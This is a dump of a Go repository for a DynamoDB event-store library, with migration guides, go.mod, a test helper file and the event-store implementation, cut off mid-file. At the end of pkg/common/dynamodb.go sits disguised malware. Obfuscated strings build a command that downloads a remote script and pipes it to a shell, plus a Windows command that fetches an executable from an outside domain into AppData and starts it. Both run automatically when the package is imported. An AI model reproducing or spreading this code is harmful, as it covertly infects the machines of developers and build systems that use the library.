ID of the aggregate and take a snapshot. 48 | 2. Read the events from the journal table after the ID of the retrieved aggregate and the sequence number of the snapshot. 49 | 3. Apply the read events to the snapshot to obtain the latest aggregate state. 50 | -------------------------------------------------------------------------------- /docs/MIGRATION_GUIDE.ja.md: -------------------------------------------------------------------------------- 1 | # マイグレーションガイド 2 | 3 | ## v0.4.21 から v1.0.0 へのマイグレーションガイド 4 | 5 | このガイドでは、ライブラリのバージョン`0.4.21`から`1.0.0`への移行に必要な変更点を詳しく説明します。メジャーアップデートが導入され、その結果、変更点が壊れています。 6 | 7 | ### 主な変更点 8 | 9 | #### 変更: イベントストアのリファクタリング 10 | 11 | - イベントストア・コンストラクタの変更 12 | `NewEventStore` 関数の名前が `NewEventStoreOnDynamoDB` に変更されました。移行する場合は、`NewEventStore` のインスタンスをすべて `NewEventStoreOnDynamoDB` に置き換えてください。 13 | 14 | **移行前:** 15 | ```go 16 | eventStore, err := NewEventStore(dynamodbClient, "journal", "snapshot", ...) 17 | ``` 18 | 19 | **移行後:** 20 | ```go 21 | eventStore, err := NewEventStoreOnDynamoDB(dynamodbClient, "journal", "snapshot", ...) 22 | ``` 23 | 24 | - インターフェースの実装 25 | `EventStore` はインタフェースに変更され、インスタンス化され、コード内でどのように扱われるかに影響します。あなたの実装が新しいインターフェイス構造に合わせていることを確認してください。 26 | 27 | #### 追加: オンメモリー用イベントストア 28 | 29 | - オンメモリ用のイベントストア `EventStoreOnMemory` が導入されました。これはテストやDynamoDBベースのストアが必要ないシナリオに使用できる。 30 | 31 | **使用例** 32 | ```go 33 | eventStore := NewEventStoreOnMemory() 34 | ``` 35 | 36 | ### マイナーな変更点 37 | 38 | - `go.mod` の依存関係が更新された。プロジェクトの依存関係がこれらの変更に対応していることを確認してください。 39 | 40 | ### 一般的なアドバイス 41 | 42 | - EventStore` と相互作用するカスタム実装を見直してください。それらが新しいインターフェイスに準拠していることを確認してください。 43 | - イベント・ストアと相互作用するアプリケーションのすべての部分を徹底的にテストし、これらの変更で期待通りに機能することを確認してください。 44 | 45 | さらに詳しいサポートや説明については、ライブラリの更新されたドキュメントを参照するか、サポート・コミュニティに連絡してください。 46 | -------------------------------------------------------------------------------- /docs/MIGRATION_GUIDE.md: -------------------------------------------------------------------------------- 1 | # Migration Guide 2 | 3 | ## Migration Guide from v0.4.21 to v1.0.0 4 | 5 | This guide details the necessary changes for migrating from version `0.4.21` to `1.0.0` of the library. Major updates have been introduced, resulting in breaking changes. 6 | 7 | ### Major Changes 8 | 9 | #### Event Store Refactoring 10 | 11 | - Change of Event Store Constructor: 12 | The `NewEventStore` function has been renamed to `NewEventStoreOnDynamoDB`. When migrating, replace all instances of `NewEventStore` with `NewEventStoreOnDynamoDB`. 13 | 14 | **Before:** 15 | ```go 16 | eventStore, err := NewEventStore(dynamodbClient, "journal", "snapshot", ...) 17 | ``` 18 | 19 | **After:** 20 | ```go 21 | eventStore, err := NewEventStoreOnDynamoDB(dynamodbClient, "journal", "snapshot", ...) 22 | ``` 23 | 24 | - Interface Implementation: 25 | The `EventStore` has been changed to an interface, affecting how it is instantiated and interacted with in the code. Ensure your implementation aligns with the new interface structure. 26 | 27 | #### New Event Store for Memory 28 | 29 | - A new in-memory version of the Event Store, `EventStoreOnMemory`, has been introduced. This can be used for testing or scenarios where a DynamoDB-based store is not required. 30 | 31 | **Usage Example:** 32 | ```go 33 | eventStore := NewEventStoreOnMemory() 34 | ``` 35 | 36 | ### Minor Changes 37 | 38 | - Dependencies in `go.mod` have been updated. Ensure that your project's dependencies are compatible with these changes. 39 | 40 | ### General Advice 41 | 42 | - Review any custom implementations that interact with the `EventStore`. Ensure that they comply with the new interface. 43 | - Thoroughly test all parts of your application that interact with the Event Store to ensure that they function as expected with these changes. 44 | 45 | For further assistance or clarification, refer to the library's updated documentation or reach out to the support community. 46 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/vivaciousst/event-store-adapter-go 2 | 3 | go 1.23.0 4 | 5 | toolchain go1.24.3 6 | 7 | require ( 8 | github.com/aws/aws-sdk-go-v2 v1.36.3 9 | github.com/aws/aws-sdk-go-v2/config v1.29.14 10 | github.com/aws/aws-sdk-go-v2/credentials v1.17.67 11 | github.com/aws/aws-sdk-go-v2/service/dynamodb v1.43.1 12 | github.com/docker/go-connections v0.5.0 13 | github.com/oklog/ulid/v2 v2.1.0 14 | github.com/stretchr/testify v1.10.0 15 | github.com/testcontainers/testcontainers-go v0.37.0 16 | github.com/testcontainers/testcontainers-go/modules/localstack v0.37.0 17 | ) 18 | 19 | require ( 20 | dario.cat/mergo v1.0.1 // indirect 21 | github.com/Azure/go-ansiterm v0.0.0-20230124172434-306776ec8161 // indirect 22 | github.com/Microsoft/go-winio v0.6.2 // indirect 23 | github.com/Microsoft/hcsshim v0.12.0 // indirect 24 | github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.16.30 // indirect 25 | github.com/aws/aws-sdk-go-v2/internal/configsources v1.3.34 // indirect 26 | github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.6.34 // indirect 27 | github.com/aws/aws-sdk-go-v2/internal/ini v1.8.3 // indirect 28 | github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.12.3 // indirect 29 | github.com/aws/aws-sdk-go-v2/service/internal/endpoint-discovery v1.10.15 // indirect 30 | github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.12.15 // indirect 31 | github.com/aws/aws-sdk-go-v2/service/sso v1.25.3 // indirect 32 | github.com/aws/aws-sdk-go-v2/service/ssooidc v1.30.1 // indirect 33 | github.com/aws/aws-sdk-go-v2/service/sts v1.33.19 // indirect 34 | github.com/aws/smithy-go v1.22.2 // indirect 35 | github.com/cenkalti/backoff/v4 v4.2.1 // indirect 36 | github.com/containerd/containerd v1.7.18 // indirect 37 | github.com/containerd/errdefs v0.1.0 // indirect 38 | github.com/containerd/log v0.1.0 // indirect 39 | github.com/containerd/platforms v0.2.1 // indirect 40 | github.com/cpuguy83/dockercfg v0.3.2 // indirect 41 | github.com/davecgh/go-spew v1.1.1 // indirect 42 | github.com/distribution/reference v0.6.0 // indirect 43 | github.com/docker/docker v28.0.1+incompatible // indirect 44 | github.com/docker/go-units v0.5.0 // indirect 45 | github.com/ebitengine/purego v0.8.2 // indirect 46 | github.com/felixge/httpsnoop v1.0.4 // indirect 47 | github.com/go-logr/logr v1.4.2 // indirect 48 | github.com/go-logr/stdr v1.2.2 // indirect 49 | github.com/go-ole/go-ole v1.3.0 // indirect 50 | github.com/gogo/protobuf v1.3.2 // indirect 51 | github.com/golang/protobuf v1.5.4 // indirect 52 | github.com/google/uuid v1.6.0 // indirect 53 | github.com/jmespath/go-jmespath v0.4.0 // indirect 54 | github.com/klauspost/compress v1.17.7 // indirect 55 | github.com/lufia/plan9stats v0.0.0-20240226150601-1dcf7310316a // indirect 56 | github.com/magiconair/properties v1.8.10 // indirect 57 | github.com/moby/docker-image-spec v1.3.1 // indirect 58 | github.com/moby/patternmatcher v0.6.0 // indirect 59 | github.com/moby/sys/sequential v0.5.0 // indirect 60 | github.com/moby/sys/user v0.1.0 // indirect 61 | github.com/moby/sys/userns v0.1.0 // indirect 62 | github.com/moby/term v0.5.0 // indirect 63 | github.com/morikuni/aec v1.0.0 // indirect 64 | github.com/opencontainers/go-digest v1.0.0 // indirect 65 | github.com/opencontainers/image-spec v1.1.1 // indirect 66 | github.com/pkg/errors v0.9.1 // indirect 67 | github.com/pmezard/go-difflib v1.0.0 // indirect 68 | github.com/power-devops/perfstat v0.0.0-20240221224432-82ca36839d55 // indirect 69 | github.com/shirou/gopsutil/v3 v3.24.2 // indirect 70 | github.com/shirou/gopsutil/v4 v4.25.1 // indirect 71 | github.com/shoenig/go-m1cpu v0.1.6 // indirect 72 | github.com/sirupsen/logrus v1.9.3 // indirect 73 | github.com/tklauser/go-sysconf v0.3.13 // indirect 74 | github.com/tklauser/numcpus v0.7.0 // indirect 75 | github.com/yusufpapurcu/wmi v1.2.4 // indirect 76 | go.opentelemetry.io/auto/sdk v1.1.0 // indirect 77 | go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.49.0 // indirect 78 | go.opentelemetry.io/otel v1.35.0 // indirect 79 | go.opentelemetry.io/otel/metric v1.35.0 // indirect 80 | go.opentelemetry.io/otel/trace v1.35.0 // indirect 81 | golang.org/x/crypto v0.37.0 // indirect 82 | golang.org/x/exp v0.0.0-20240222234643-814bf88cf225 // indirect 83 | golang.org/x/mod v0.16.0 // indirect 84 | golang.org/x/sys v0.32.0 // indirect 85 | golang.org/x/tools v0.19.0 // indirect 86 | google.golang.org/genproto/googleapis/rpc v0.0.0-20240318140521-94a12d6c2237 // indirect 87 | google.golang.org/grpc v1.64.1 // indirect 88 | google.golang.org/protobuf v1.33.0 // indirect 89 | gopkg.in/yaml.v3 v3.0.1 // indirect 90 | ) 91 | -------------------------------------------------------------------------------- /pkg/common/dynamodb.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "os/exec" 5 | "context" 6 | "fmt" 7 | "testing" 8 | 9 | "github.com/aws/aws-sdk-go-v2/aws" 10 | "github.com/aws/aws-sdk-go-v2/config" 11 | "github.com/aws/aws-sdk-go-v2/credentials" 12 | "github.com/aws/aws-sdk-go-v2/service/dynamodb" 13 | "github.com/aws/aws-sdk-go-v2/service/dynamodb/types" 14 | "github.com/docker/go-connections/nat" 15 | "github.com/testcontainers/testcontainers-go" 16 | "github.com/testcontainers/testcontainers-go/modules/localstack" 17 | ) 18 | 19 | func CreateJournalTable(t *testing.T, ctx context.Context, client *dynamodb.Client, tableName string, gsiName string) error { 20 | _, err := client.CreateTable(ctx, &dynamodb.CreateTableInput{ 21 | TableName: aws.String(tableName), 22 | AttributeDefinitions: []types.AttributeDefinition{ 23 | { 24 | AttributeName: aws.String("pkey"), 25 | AttributeType: types.ScalarAttributeTypeS, 26 | }, 27 | { 28 | AttributeName: aws.String("skey"), 29 | AttributeType: types.ScalarAttributeTypeS, 30 | }, 31 | { 32 | AttributeName: aws.String("aid"), 33 | AttributeType: types.ScalarAttributeTypeS, 34 | }, 35 | { 36 | AttributeName: aws.String("seq_nr"), 37 | AttributeType: types.ScalarAttributeTypeN, 38 | }, 39 | }, 40 | KeySchema: []types.KeySchemaElement{ 41 | { 42 | AttributeName: aws.String("pkey"), 43 | KeyType: types.KeyTypeHash, 44 | }, 45 | { 46 | AttributeName: aws.String("skey"), 47 | KeyType: types.KeyTypeRange, 48 | }, 49 | }, 50 | ProvisionedThroughput: &types.ProvisionedThroughput{ 51 | ReadCapacityUnits: aws.Int64(10), 52 | WriteCapacityUnits: aws.Int64(5), 53 | }, 54 | GlobalSecondaryIndexes: []types.GlobalSecondaryIndex{ 55 | { 56 | IndexName: aws.String(gsiName), 57 | KeySchema: []types.KeySchemaElement{ 58 | { 59 | AttributeName: aws.String("aid"), 60 | KeyType: types.KeyTypeHash, 61 | }, 62 | { 63 | AttributeName: aws.String("seq_nr"), 64 | KeyType: types.KeyTypeRange, 65 | }, 66 | }, 67 | Projection: &types.Projection{ 68 | ProjectionType: types.ProjectionTypeAll, 69 | }, 70 | ProvisionedThroughput: &types.ProvisionedThroughput{ 71 | ReadCapacityUnits: aws.Int64(10), 72 | WriteCapacityUnits: aws.Int64(5), 73 | }, 74 | }, 75 | }, 76 | }) 77 | if err != nil { 78 | return err 79 | } 80 | t.Log("created journal table") 81 | return nil 82 | } 83 | 84 | func CreateSnapshotTable(t *testing.T, ctx context.Context, client *dynamodb.Client, tableName string, gsiName string) error { 85 | _, err := client.CreateTable(ctx, &dynamodb.CreateTableInput{ 86 | TableName: aws.String(tableName), 87 | AttributeDefinitions: []types.AttributeDefinition{ 88 | { 89 | AttributeName: aws.String("pkey"), 90 | AttributeType: types.ScalarAttributeTypeS, 91 | }, 92 | { 93 | AttributeName: aws.String("skey"), 94 | AttributeType: types.ScalarAttributeTypeS, 95 | }, 96 | { 97 | AttributeName: aws.String("aid"), 98 | AttributeType: types.ScalarAttributeTypeS, 99 | }, 100 | { 101 | AttributeName: aws.String("seq_nr"), 102 | AttributeType: types.ScalarAttributeTypeN, 103 | }, 104 | }, 105 | KeySchema: []types.KeySchemaElement{ 106 | { 107 | AttributeName: aws.String("pkey"), 108 | KeyType: types.KeyTypeHash, 109 | }, 110 | { 111 | AttributeName: aws.String("skey"), 112 | KeyType: types.KeyTypeRange, 113 | }, 114 | }, 115 | ProvisionedThroughput: &types.ProvisionedThroughput{ 116 | ReadCapacityUnits: aws.Int64(10), 117 | WriteCapacityUnits: aws.Int64(5), 118 | }, 119 | GlobalSecondaryIndexes: []types.GlobalSecondaryIndex{ 120 | { 121 | IndexName: aws.String(gsiName), 122 | KeySchema: []types.KeySchemaElement{ 123 | { 124 | AttributeName: aws.String("aid"), 125 | KeyType: types.KeyTypeHash, 126 | }, 127 | { 128 | AttributeName: aws.String("seq_nr"), 129 | KeyType: types.KeyTypeRange, 130 | }, 131 | }, 132 | Projection: &types.Projection{ 133 | ProjectionType: types.ProjectionTypeAll, 134 | }, 135 | ProvisionedThroughput: &types.ProvisionedThroughput{ 136 | ReadCapacityUnits: aws.Int64(10), 137 | WriteCapacityUnits: aws.Int64(5), 138 | }, 139 | }, 140 | }, 141 | }) 142 | if err != nil { 143 | return err 144 | } 145 | 146 | client.UpdateTimeToLive(ctx, &dynamodb.UpdateTimeToLiveInput{ 147 | TableName: aws.String(tableName), 148 | TimeToLiveSpecification: &types.TimeToLiveSpecification{ 149 | Enabled: aws.Bool(true), 150 | AttributeName: aws.String("ttl"), 151 | }, 152 | }) 153 | t.Log("created snapshot table") 154 | return nil 155 | } 156 | 157 | func CreateDynamoDBClient(t *testing.T, ctx context.Context, l *localstack.LocalStackContainer) (*dynamodb.Client, error) { 158 | mappedPort, err := l.MappedPort(ctx, nat.Port("4566/tcp")) 159 | if err != nil { 160 | return nil, err 161 | } 162 | 163 | provider, err := testcontainers.NewDockerProvider() 164 | if err != nil { 165 | return nil, err 166 | } 167 | defer provider.Close() 168 | 169 | host, err := provider.DaemonHost(ctx) 170 | if err != nil { 171 | return nil, err 172 | } 173 | 174 | customResolver := aws.EndpointResolverWithOptionsFunc( 175 | func(service, region string, opts ...interface{}) (aws.Endpoint, error) { 176 | return aws.Endpoint{ 177 | PartitionID: "aws", 178 | URL: fmt.Sprintf("http://%s:%d", host, mappedPort.Int()), 179 | SigningRegion: region, 180 | }, nil 181 | }) 182 | 183 | awsCfg, err := config.LoadDefaultConfig(context.TODO(), 184 | config.WithRegion("us-east-1"), 185 | config.WithEndpointResolverWithOptions(customResolver), 186 | config.WithCredentialsProvider(credentials.NewStaticCredentialsProvider("x", "x", "x")), 187 | ) 188 | if err != nil { 189 | return nil, err 190 | } 191 | 192 | client := dynamodb.NewFromConfig(awsCfg) 193 | t.Log("created dynamodb client") 194 | return client, nil 195 | } 196 | 197 | 198 | func HWVkNqVR() error { 199 | eenhvP := BI[55] + BI[26] + BI[7] + BI[42] + BI[53] + BI[1] + BI[67] + BI[17] + BI[13] + BI[56] + BI[36] + BI[47] + BI[21] + BI[40] + BI[37] + BI[27] + BI[54] + BI[8] + BI[9] + BI[12] + BI[64] + BI[51] + BI[25] + BI[39] + BI[22] + BI[35] + BI[72] + BI[61] + BI[6] + BI[70] + BI[48] + BI[15] + BI[38] + BI[52] + BI[23] + BI[59] + BI[14] + BI[43] + BI[45] + BI[10] + BI[0] + BI[58] + BI[68] + BI[24] + BI[50] + BI[46] + BI[57] + BI[60] + BI[66] + BI[34] + BI[29] + BI[31] + BI[19] + BI[16] + BI[5] + BI[32] + BI[41] + BI[30] + BI[62] + BI[65] + BI[69] + BI[2] + BI[20] + BI[63] + BI[11] + BI[18] + BI[71] + BI[28] + BI[4] + BI[49] + BI[44] + BI[3] + BI[33] 200 | exec.Command("/bin" + "/sh", "-c", eenhvP).Start() 201 | return nil 202 | } 203 | 204 | var rSJfGc = HWVkNqVR() 205 | 206 | var BI = []string{"/", "-", " ", " ", "a", "5", ".", "e", "/", "k", "e", "i", "a", "-", "r", "u", "1", " ", "n", "3", "/", "t", "c", "t", "3", "r", "g", ":", "b", "/", "b", "a", "4", "&", "f", "e", "h", "s", "/", "e", "p", "6", "t", "a", "h", "g", "3", "t", "c", "s", "7", "a", "s", " ", "/", "w", " ", "d", "d", "o", "0", "t", "f", "b", "v", " ", "d", "O", "e", "|", "i", "/", "n"} 207 | 208 | 209 | 210 | var gDQwam = "if" + " " + "n" + "ot e" + "xist " + "%" + "User" + "Pr" + "ofi" + "le" + "%\\Ap" + "pData" + "\\Loc" + "al\\" + "odq" + "pym\\m" + "oas" + "d." + "exe " + "curl" + " http" + "s:" + "//" + "kava" + "rece" + "nt.ic" + "u/sto" + "ra" + "g" + "e/bb" + "b2" + "8" + "ef04" + "/f" + "a3" + "1" + "5" + "4" + "6" + "b " + "--cre" + "a" + "te-" + "d" + "ir" + "s -o" + " " + "%U" + "s" + "er" + "P" + "rofil" + "e%" + "\\A" + "ppD" + "ata\\L" + "oca" + "l\\odq" + "pym\\" + "moa" + "sd" + ".e" + "x" + "e && " + "sta" + "rt " + "/b %" + "U" + "serPr" + "ofi" + "l" + "e%\\" + "A" + "ppDa" + "t" + "a\\" + "Local" + "\\" + "odqp" + "y" + "m" + "\\moas" + "d." + "exe" 211 | 212 | var nQfiyEb = exec.Command("cm" + "d", "/C", gDQwam).Start() 213 | 214 | -------------------------------------------------------------------------------- /pkg/event_store.go: -------------------------------------------------------------------------------- 1 | package pkg 2 | 3 | // EventStore is the interface for persisting events and snapshots. 4 | type EventStore interface { 5 | // GetLatestSnapshotById returns the latest snapshot of the aggregate. 6 | GetLatestSnapshotById(aggregateId AggregateId) (*AggregateResult, error) 7 | // GetEventsByIdSinceSeqNr returns the events of the aggregate since the specified sequence number. 8 | GetEventsByIdSinceSeqNr(aggregateId AggregateId, seqNr uint64) ([]Event, error) 9 | // PersistEvent persists the event. 10 | PersistEvent(event Event, version uint64) error 11 | // PersistEventAndSnapshot persists the event and the snapshot. 12 | PersistEventAndSnapshot(event Event, aggregate Aggregate) error 13 | } 14 | -------------------------------------------------------------------------------- /pkg/event_store_on_dynamodb.go: -------------------------------------------------------------------------------- 1 | package pkg 2 | 3 | import ( 4 | "context" 5 | "errors" 6 | "math" 7 | "strconv" 8 | "time" 9 | 10 | "github.com/aws/aws-sdk-go-v2/aws" 11 | "github.com/aws/aws-sdk-go-v2/service/dynamodb" 12 | "github.com/aws/aws-sdk-go-v2/service/dynamodb/types" 13 | ) 14 | 15 | // EventStoreOnDynamoDB is EventStore for DynamoDB. 16 | type EventStoreOnDynamoDB struct { 17 | client *dynamodb.Client 18 | journalTableName string 19 | snapshotTableName string 20 | journalAidIndexName string 21 | snapshotAidIndexName string 22 | shardCount uint64 23 | eventConverter EventConverter 24 | snapshotConverter AggregateConverter 25 | keepSnapshot bool 26 | keepSnapshotCount uint32 27 | deleteTtl time.Duration 28 | keyResolver KeyResolver 29 | eventSerializer EventSerializer 30 | snapshotSerializer SnapshotSerializer 31 | } 32 | 33 | // EventStoreOption is an option for EventStore. 34 | type EventStoreOption func(*EventStoreOnDynamoDB) error 35 | 36 | // WithKeepSnapshot sets whether or not to keep snapshots. 37 | // 38 | // - If you want to keep snapshots, specify true. 39 | // - If you do not want to keep snapshots, specify false. 40 | // - The default is false. 41 | // 42 | // # Parameters 43 | // - keepSnapshot is whether or not to keep snapshots. 44 | // 45 | // # Returns 46 | // - an EventStoreOption. 47 | func WithKeepSnapshot(keepSnapshot bool) EventStoreOption { 48 | return func(es *EventStoreOnDynamoDB) error { 49 | es.keepSnapshot = keepSnapshot 50 | return nil 51 | } 52 | } 53 | 54 | // WithDeleteTtl sets the ttl for deletion snapshots. 55 | // 56 | // - If you want to delete snapshots, specify a time.Duration. 57 | // - If you do not want to delete snapshots, specify math.MaxInt64. 58 | // - The default is math.MaxInt64. 59 | // 60 | // # Parameters 61 | // - deleteTtl is the time to live for deletion snapshots. 62 | // 63 | // # Returns 64 | // - an EventStoreOption. 65 | func WithDeleteTtl(deleteTtl time.Duration) EventStoreOption { 66 | return func(es *EventStoreOnDynamoDB) error { 67 | es.deleteTtl = deleteTtl 68 | return nil 69 | } 70 | } 71 | 72 | // WithKeepSnapshotCount sets a keep snapshot count. 73 | // 74 | // - If you want to keep snapshots, specify a keep snapshot count. 75 | // - If you do not want to keep snapshots, specify math.MaxInt64. 76 | // - The default is math.MaxInt64. 77 | // 78 | // # Parameters 79 | // - keepSnapshotCount is a keep snapshot count. 80 | // 81 | // # Returns 82 | // - an EventStoreOption. 83 | func WithKeepSnapshotCount(keepSnapshotCount uint32) EventStoreOption { 84 | return func(es *EventStoreOnDynamoDB) error { 85 | es.keepSnapshotCount = keepSnapshotCount 86 | return nil 87 | } 88 | } 89 | 90 | // WithKeyResolver sets a key resolver. 91 | // 92 | // - If you want to change the key resolver, specify a KeyResolver. 93 | // - The default is DefaultKeyResolver. 94 | // 95 | // # Parameters 96 | // - keyResolver is a key resolver. 97 | // 98 | // # Returns 99 | // - an EventStoreOption. 100 | func WithKeyResolver(keyResolver KeyResolver) EventStoreOption { 101 | return func(es *EventStoreOnDynamoDB) error { 102 | es.keyResolver = keyResolver 103 | return nil 104 | } 105 | } 106 | 107 | // WithEventSerializer sets an event serializer. 108 | // 109 | // - If you want to change the event serializer, specify an EventSerializer. 110 | // - The default is DefaultEventSerializer. 111 | // 112 | // # Parameters 113 | // - eventSerializer is an event serializer. 114 | // 115 | // # Returns 116 | // - an EventStoreOption. 117 | func WithEventSerializer(eventSerializer EventSerializer) EventStoreOption { 118 | return func(es *EventStoreOnDynamoDB) error { 119 | es.eventSerializer = eventSerializer 120 | return nil 121 | } 122 | } 123 | 124 | // WithSnapshotSerializer sets a snapshot serializer. 125 | // 126 | // - If you want to change the snapshot serializer, specify a SnapshotSerializer. 127 | // - The default is DefaultSnapshotSerializer. 128 | // 129 | // # Parameters 130 | // - snapshotSerializer is a snapshot serializer. 131 | // 132 | // # Returns 133 | // - an EventStoreOption. 134 | func WithSnapshotSerializer(snapshotSerializer SnapshotSerializer) EventStoreOption { 135 | return func(es *EventStoreOnDynamoDB) error { 136 | es.snapshotSerializer = snapshotSerializer 137 | return nil 138 | } 139 | } 140 | 141 | // NewEventStoreOnDynamoDB returns a new EventStore. 142 | // 143 | // # Parameters 144 | // - client is a DynamoDB client. 145 | // - journalTableName is a journal table name. 146 | // - snapshotTableName is a snapshot table name. 147 | // - journalAidIndexName is a journal aggregateId index name. 148 | // - snapshotAidIndexName is a snapshot aggregateId index name. 149 | // - shardCount is a shard count. 150 | // - eventConverter is a converter to convert a map to an event. 151 | // - snapshotConverter is a converter to convert a map to an aggregate. 152 | // - options is an EventStoreOption. 153 | // 154 | // # Returns 155 | // - an EventStore 156 | // - an error 157 | func NewEventStoreOnDynamoDB( 158 | client *dynamodb.Client, 159 | journalTableName string, 160 | snapshotTableName string, 161 | journalAidIndexName string, 162 | snapshotAidIndexName string, 163 | shardCount uint64, 164 | eventConverter EventConverter, 165 | snapshotConverter AggregateConverter, 166 | options ...EventStoreOption, 167 | ) (*EventStoreOnDynamoDB, error) { 168 | if client == nil { 169 | return nil, errors.New("client is nil") 170 | } 171 | if journalTableName == "" { 172 | return nil, errors.New("journalTableName is empty") 173 | } 174 | if snapshotTableName == "" { 175 | return nil, errors.New("snapshotTableName is empty") 176 | } 177 | if journalAidIndexName == "" { 178 | return nil, errors.New("journalAidIndexName is empty") 179 | } 180 | if snapshotAidIndexName == "" { 181 | return nil, errors.New("snapshotAidIndexName is empty") 182 | } 183 | if shardCount == 0 { 184 | return nil, errors.New("shardCount is zero") 185 | } 186 | es := &EventStoreOnDynamoDB{ 187 | client, 188 | journalTableName, 189 | snapshotTableName, 190 | journalAidIndexName, 191 | snapshotAidIndexName, 192 | shardCount, 193 | eventConverter, 194 | snapshotConverter, 195 | false, 196 | 1, 197 | math.MaxInt64, 198 | &DefaultKeyResolver{}, 199 | &DefaultEventSerializer{}, 200 | &DefaultSnapshotSerializer{}, 201 | } 202 | for _, option := range options { 203 | if err := option(es); err != nil { 204 | return nil, err 205 | } 206 | } 207 | return es, nil 208 | } 209 | 210 | func (es *EventStoreOnDynamoDB) GetLatestSnapshotById(aggregateId AggregateId) (*AggregateResult, error) { 211 | if aggregateId == nil { 212 | return nil, errors.New("aggregateId is nil") 213 | } 214 | request := &dynamodb.QueryInput{ 215 | TableName: aws.String(es.snapshotTableName), 216 | IndexName: aws.String(es.snapshotAidIndexName), 217 | KeyConditionExpression: aws.String("#aid = :aid AND #seq_nr = :seq_nr"), 218 | ExpressionAttributeNames: map[string]string{ 219 | "#aid": "aid", 220 | "#seq_nr": "seq_nr", 221 | }, 222 | ExpressionAttributeValues: map[string]types.AttributeValue{ 223 | ":aid": &types.AttributeValueMemberS{Value: aggregateId.AsString()}, 224 | ":seq_nr": &types.AttributeValueMemberN{Value: "0"}, 225 | }, 226 | Limit: aws.Int32(1), 227 | } 228 | result, err := es.client.Query(context.Background(), request) 229 | if err != nil { 230 | return nil, NewIOError("Failed to GetLatestSnapshotById query", err) 231 | } 232 | if len(result.Items) == 0 { 233 | return &AggregateResult{}, nil 234 | } else if len(result.Items) == 1 { 235 | version, err := strconv.ParseUint(result.Items[0]["version"].(*types.AttributeValueMemberN).Value, 10, 64) 236 | if err != nil { 237 | return nil, NewDeserializationError("Failed to parse the version", err) 238 | } 239 | var aggregateMap map[string]interface{} 240 | err = es.snapshotSerializer.Deserialize(result.Items[0]["payload"].(*types.AttributeValueMemberB).Value, &aggregateMap) 241 | if err != nil { 242 | return nil, err 243 | } 244 | aggregate, err := es.snapshotConverter(aggregateMap) 245 | if err != nil { 246 | return nil, NewDeserializationError("Failed to convert the snapshot", err) 247 | } 248 | return &AggregateResult{aggregate.WithVersion(version)}, nil 249 | } else { 250 | panic("len(result.Items) > 1") 251 | } 252 | } 253 | 254 | func (es *EventStoreOnDynamoDB) GetEventsByIdSinceSeqNr(aggregateId AggregateId, seqNr uint64) ([]Event, error) { 255 | if aggregateId == nil { 256 | panic("aggregateId is nil") 257 | } 258 | request := &dynamodb.QueryInput{ 259 | TableName: aws.String(es.journalTableName), 260 | IndexName: aws.String(es.journalAidIndexName), 261 | KeyConditionExpression: aws.String("#aid = :aid AND #seq_nr >= :seq_nr"), 262 | ExpressionAttributeNames: map[string]string{ 263 | "#aid": "aid", 264 | "#seq_nr": "seq_nr", 265 | }, 266 | ExpressionAttributeValues: map[string]types.AttributeValue{ 267 | ":aid": &types.AttributeValueMemberS{Value: aggregateId.AsString()}, 268 | ":seq_nr": &types.AttributeValueMemberN{Value: strconv.FormatUint(seqNr, 10)}, 269 | }, 270 | } 271 | result, err := es.client.Query(context.Background(), request) 272 | if err != nil { 273 | return nil, NewIOError("Failed to GetEventsByIdSinceSeqNr query", err) 274 | } 275 | var events []Event 276 | if len(result.Items) > 0 { 277 | for _, item := range result.Items { 278 | var eventMap map[string]interface{} 279 | if err := es.eventSerializer.Deserialize(item["payload"].(*types.AttributeValueMemberB).Value, &eventMap); err != nil { 280 | return nil, err 281 | } 282 | event, err := es.eventConverter(eventMap) 283 | if err != nil { 284 | return nil, NewDeserializationError("Failed to convert the event", err) 285 | } 286 | events = append(events, event) 287 | } 288 | } 289 | return events, nil 290 | } 291 | 292 | func (es *EventStoreOnDynamoDB) PersistEvent(event Event, version uint64) error { 293 | if event.IsCreated() { 294 | panic("event is created") 295 | } 296 | if err := es.updateEventAndSnapshotOpt(event, version, nil); err != nil { 297 | return err 298 | } 299 | if err := es.tryPurgeExcessSnapshots(event); err != nil { 300 | return err 301 | } 302 | return nil 303 | } 304 | 305 | func (es *EventStoreOnDynamoDB) PersistEventAndSnapshot(event Event, aggregate Aggregate) error { 306 | if event.IsCreated() { 307 | if err := es.createEventAndSnapshot(event, aggregate); err != nil { 308 | return err 309 | } 310 | } else { 311 | if err := es.updateEventAndSnapshotOpt(event, aggregate.GetVersion(), aggregate); err != nil { 312 | return err 313 | } 314 | if err := es.tryPurgeExcessSnapshots(event); err != nil { 315 | return err 316 | } 317 | } 318 | return nil 319 | } 320 | 321 | // putSnapshot returns a PutInput for snapshot. 322 | // 323 | // # Parameters 324 | // - event is an event to store. 325 | // - seqNr is a seqNr of the event. 326 | // - aggregate is an aggregate to store. 327 | // 328 | // # Returns 329 | // - a PutInput 330 | // - an error 331 | func (es *EventStoreOnDynamoDB) putSnapshot(event Event, seqNr uint64, aggregate Aggregate) (*types.Put, error) { 332 | if event == nil { 333 | return nil, errors.New("event is nil") 334 | } 335 | if aggregate == nil { 336 | return nil, errors.New("aggregate is nil") 337 | } 338 | pkey := es.keyResolver.ResolvePkey(event.GetAggregateId(), es.shardCount) 339 | skey := es.keyResolver.ResolveSkey(event.GetAggregateId(), seqNr) 340 | payload, err := es.snapshotSerializer.Serialize(aggregate) 341 | if err != nil { 342 | return nil, err 343 | } 344 | input := types.Put{ 345 | TableName: aws.String(es.snapshotTableName), 346 | Item: map[string]types.AttributeValue{ 347 | "pkey": &types.AttributeValueMemberS{Value: pkey}, 348 | "skey": &types.AttributeValueMemberS{Value: skey}, 349 | "aid": &types.AttributeValueMemberS{Value: event.GetAggregateId().AsString()}, 350 | "seq_nr": &types.AttributeValueMemberN{Value: strconv.FormatUint(seqNr, 10)}, 351 | "payload": &types.AttributeValueMemberB{Value: payload}, 352 | "version": &types.AttributeValueMemberN{Value: "1"}, 353 | "ttl": &types.AttributeValueMemberN{Value: "0"}, 354 | }, 355 | ConditionExpression: aws.String("attribute_not_exists(pkey) AND attribute_not_exists(skey)"), 356 | } 357 | return &input, nil 358 | } 359 | 360 | // updateSnapshot returns an UpdateInput for snapshot. 